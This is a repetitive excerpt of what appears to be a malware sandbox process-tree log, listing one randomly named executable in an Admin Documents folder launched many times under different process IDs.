- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4852
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:1732
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5248
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5440
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5564
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5332
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5672
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5800
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5868
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5988
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:6112
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4340
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5508
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2096
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2680
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5964
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2560
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:408
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3628
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4148
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:6332
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:6580
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:6760
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:6904
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7156
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:6172
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5328
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3024
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7756
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7868
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7968
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8060
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8152
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5860
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7532
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7672
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:6232
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:6364
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3144
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7900
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3516
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:6672
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2288
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8556
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8624
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8692
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8840
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9136
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8356
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8348
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5996
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3664
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8752
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8164
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5628
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:4048
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5852
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8632
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5904
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7460
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7208
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8740
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2172
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3128
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7748
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9060
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:3164
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9240
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9364
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9636
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9732
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9820
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7992
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2832
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8428
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:8644
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10288
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10680
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10756
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11000
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10372
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9376
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9772
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11732
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11856
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11832
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11928
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9848
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11976
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11884
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12324
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12360
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12440
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12676
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12828
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:13176
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:2824
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7076
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12876
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:13112
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:10032
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11840
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:13364
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:13464
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:13628
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:13912
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:13940
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11300
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:13496
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:14124
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:14428
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:14904
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:13632
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7908
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:14064
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:15520
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:15908
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:15080
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:6716
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:16668
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:17292
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:16920
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:17464
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:16540
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:16504
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:6412
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12116
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:14516
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:15628
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9204
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12764
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:14828
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:14180
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:13596
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:15176
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:15044
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:14508
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9260
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12588
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7616
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9784
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:14244
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:14068
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:13836
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:13664
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11196
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:11340
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:12892
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7940
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:9088
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:5772
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:13292
- - C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    C:\Users\Admin\Documents\bZZtonITcBMBN1AgLdKwwLiZ.exe
    3⤵
    PID:7308
